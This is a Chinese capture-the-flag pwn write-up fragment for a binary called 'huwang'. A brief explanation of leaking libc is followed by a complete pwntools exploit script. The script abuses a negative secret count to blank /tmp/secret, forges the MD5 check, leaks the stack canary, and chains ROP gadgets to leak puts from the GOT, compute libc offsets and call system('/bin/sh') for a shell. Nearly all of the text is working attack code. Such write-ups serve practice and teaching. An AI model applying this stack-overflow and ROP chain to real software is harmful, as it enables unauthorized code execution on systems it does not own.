leak libc时可以选择执行puts(got['...'])或者right_secret(got['......'])(right_secret会在congratulation后输出字符串参数,got[.......]为got表中函数值,不过这里因为libc环境问题printf不行(printf地址末位\x00,会被直接判断为结束符造成leak失败)),这里EXP为了直接复用right_secret,选择了后者
from pwn import *
import time
import hashlib
context.log_level = 'debug'
pop_rdi_ret=0x401573
elf=ELF('./huwang')
#make /tmp/secret null
p=process("./huwang")
p.recvuntil('>>')
p.sendline('666')
p.recvuntil('name\n')
p.send('kirin')
p.recvuntil('?')
p.sendline('y')
p.recvuntil('secret:\n')
p.sendline('-1')
time.sleep(5)
p.close()
#rop with /tmp/secret null
p=process('./huwang')
p.recvuntil('>>')
p.sendline('666')
p.recvuntil('name')
p.send('a'*0x19)
p.recvuntil('?\n')
p.sendline('y')
p.recvuntil('secret:\n')
p.sendline('1')
p.recvuntil('secret\n')
payload = hashlib.md5('\x00'*16).hexdigest().decode('hex')
p.send(payload)
#leak canary
p.recvuntil('a'*0x19)
canary=p.recv(7).rjust(8,"\x00")
p.recvuntil('occupation?\n')
p.send('a'*0xff)
p.recvuntil(']\n')
p.sendline('Y')
#rop->leak libc
p.sendline('a'*0x108+canary+'a'*0x8+p64(pop_rdi_ret)+p64(elf.got['puts'])+p64(0x40101c))
p.recvuntil('Congratulations, ')
puts_addr=u64(p.recv(6).ljust(8,'\x00'))
libc_addr=puts_addr-0x6f690
system_addr=libc_addr+0x45390
bin_sh_addr=libc_addr+0x18cd57
#system('/bin/sh')
p.recvuntil('?\n')
p.send('a'*0xff)
p.recvuntil(']\n')
p.sendline('Y')
#rop->system('/bin/sh')
p.sendline('a'*0x108+canary+'a'*0x8+p64(pop_rdi_ret)+p64(bin_sh_addr)+p64(system_addr))
p.interactive()
网友评论